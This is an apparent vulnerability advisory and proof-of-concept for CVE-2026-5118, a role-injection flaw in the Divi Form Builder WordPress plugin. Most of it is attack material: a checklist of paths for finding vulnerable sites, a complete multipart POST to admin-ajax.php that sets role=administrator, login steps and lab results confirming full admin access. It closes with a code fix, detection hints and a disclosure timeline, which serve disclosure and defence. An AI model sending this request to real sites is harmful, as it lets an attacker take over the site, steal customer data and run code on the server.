
CVE-2026-5118 | Divi Form Builder <= 5.1.2 | Unauthenticated Privilege Escalation via Role Injection
The Divi Form Builder WordPress plugin version 5.1.2 and earlier contains a Critical vulnerability that allows an unauthenticated attacker to create an Administrator account directly through the registration form.
One hidden field. One changed value. Full access to the entire website.
includes/shared/handlers/FormSubmissionHandler.php → create_user()
// Line ~1691: Get role from user input (WITHOUT SECURITY VALIDATION)
$role = isset($form_data['role']) ? sanitize_text_field($form_data['role']) : 'subscriber';
// Line ~1702: Only checks IF role EXISTS in the system, NOT if it's SAFE
$roles_obj = function_exists('wp_roles') ? wp_roles() : null;
if ($roles_obj && is_object($roles_obj) && is_array($roles_obj->roles)
&& !isset($roles_obj->roles[$role])) {
$role = 'subscriber';
}
// Line ~1745: Directly apply the injected role!
$user = new WP_User($user_id);
$user->set_role($role); // ← "administrator" applied directly
FLAWED VALIDATION FLOW
┌──────────────────────────────────────────────────────┐
│ Attacker sends: role=administrator │
│ ↓ │
│ sanitize_text_field() → "administrator" (clean) │
│ ↓ │
│ isset($roles_obj->roles["administrator"]) → TRUE │ ← BUG! Only checks EXISTENCE
│ ↓ │
│ $user->set_role("administrator") → FULL ADMIN! │ ← PRIVESC!
└──────────────────────────────────────────────────────┘
"administrator" IS a valid role in WordPress,
so the isset() validation ALWAYS returns true.
This function NEVER rejects dangerous roles.
DFB registration form contains a hidden input:
<!-- Original developer value -->
<input class="df_hidden_user_role" type="hidden" name="role" value="customer">
<!-- Attacker simply changes its value -->
<input class="df_hidden_user_role" type="hidden" name="role" value="administrator">
[★] Target Discovery: Divi Form Builder indicator
├── Endpoint scan: 50+ registration paths
├── Homepage link crawl: keyword priority
├── REST API: /wp-json/wp/v2/pages?search=register
├── Sitemap parsing: XML sitemap URLs
├── DFB REST API: /wp-json/divi-form-builder/v1
├── AJAX probe: de_fb_ajax_submit_ajax_handler
├── WooCommerce: /my-account/ sub-pages
├── robots.txt: custom sitemaps + disallow
├── Contact pages: hidden DFB forms
└── wp-json deep: content-first scan
[✓] Found: <input class="df_hidden_user_role" value="customer">
[✓] Plugin version: v4.1.9 (VULNERABLE)
[✓] Multi-step form with reCAPTCHA v3
Required parameters:
├── fb_nonce: [from hidden input / de_fb_obj]
├── form_key: [from hidden input]
├── form_type: register
├── divi-form-submit: yes
└── role: [INJECTION: administrator]
Field mapping:
├── de_fb_user_login + user_login (both variants mandatory)
├── de_fb_user_email + user_email
├── de_fb_user_pass + user_pass
└── de_fb_pass_repeat
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=----POC
X-Requested-With: XMLHttpRequest
------POC
Content-Disposition: form-data; name="action"
de_fb_ajax_submit_ajax_handler
------POC
Content-Disposition: form-data; name="fb_nonce"
[nonce_from_form]
------POC
Content-Disposition: form-data; name="role"
administrator
------POC
Content-Disposition: form-data; name="form_type"
register
------POC
Content-Disposition: form-data; name="divi-form-submit"
yes
------POC
Content-Disposition: form-data; name="de_fb_user_login"
attacker1337
------POC
Content-Disposition: form-data; name="user_login"
attacker1337
------POC
Content-Disposition: form-data; name="de_fb_user_pass"
Str0ngP@ss!
------POC
Content-Disposition: form-data; name="user_pass"
Str0ngP@ss!
------POC
Content-Disposition: form-data; name="de_fb_user_email"
[email protected]
------POC
Content-Disposition: form-data; name="user_email"
[email protected]
------POC--
[→] POST /wp-login.php
user_login=attacker1337&user_pass=Str0ngP@ss!
[←] HTTP 302 → /wp-admin/
[✓] FULL ADMINISTRATOR ACCESS CONFIRMED
├── Dashboard: /wp-admin/
├── Users: Can create/delete any user
├── Plugins: Can install/activate/edit PHP
├── Themes: Can edit template files → RCE
└── Settings: Full site control
Testing conducted in an isolated Docker environment (WordPress 6.5 + DFB v5.0.0):
╔══════════════════════════════════════════════════════╗
║ LAB VERIFICATION RESULTS ║
╠══════════════════════════════════════════════════════╣
║ Method: AJAX (admin-ajax.php) ║
║ Role injected: administrator ║
║ Response: "Registration successful!" ║
║ Login: HTTP 302 → /wp-admin/ ✓ ║
║ ───────────────────────────────────────────────── ║
║ Method: Form POST (direct submission) ║
║ Role injected: administrator ║
║ Response: "Registration successful!" ║
║ Login: HTTP 302 → /wp-admin/ ✓ ║
║ ───────────────────────────────────────────────── ║
║ Status: ★ PWNED — Full Admin Access ★ ║
╚══════════════════════════════════════════════════════╝
// BEFORE (vulnerable):
$role = isset($form_data['role']) ? sanitize_text_field($form_data['role']) : 'subscriber';
$roles_obj = function_exists('wp_roles') ? wp_roles() : null;
if ($roles_obj && is_object($roles_obj) && is_array($roles_obj->roles)
&& !isset($roles_obj->roles[$role])) {
$role = 'subscriber'; // ← Only checks EXISTENCE, not SAFETY
}
// AFTER (secure):
$role = isset($form_data['role']) ? sanitize_text_field($form_data['role']) : 'subscriber';
// Only allow roles safe for public registration
$allowed_registration_roles = array('subscriber', 'contributor');
if (!in_array($role, $allowed_registration_roles, true)) {
$role = 'subscriber'; // ← Reject all dangerous roles
}
role parameter from the frontend form — Use the existing default_user_rolecurrent_user_can('create_users') for special roles| Date | Event |
|---|---|
| 2026-04-13 | Version 5.1.3 released (possible fix per changelog) |
| 2026-05-21 | Vulnerability independently verified in isolated lab |
| 2026-05-21 | Responsible disclosure sent to Divi Engine Security |
role=administrator parameter on POST requestswp_users table for unknown new admin accounts/wp-admin/admin-ajax.php?action=de_fb_ajax_submit_ajax_handlerThis document is created for educational and responsible disclosure purposes. All exploitation testing was conducted in an isolated laboratory environment. On live targets, only passive detection was performed (identification of the form and parameters, without sending any exploit data).
The author is not responsible for misuse of the information in this document.
CVE-2026-5118 • Divi Form Builder ≤ 5.1.2 • Unauthenticated Privilege Escalation
Discovered & Verified: 2026-05-21
| Capability | Impact |
|---|
| 🔑 Create admin account without login | Full Site Takeover |
| 📦 Access WooCommerce customer data | Data Breach |
| 💉 Edit plugin/theme files (PHP) | Remote Code Execution |
| 🕳️ Create hidden backdoor | Persistent Access |
| 👥 View all user data | Privacy Violation |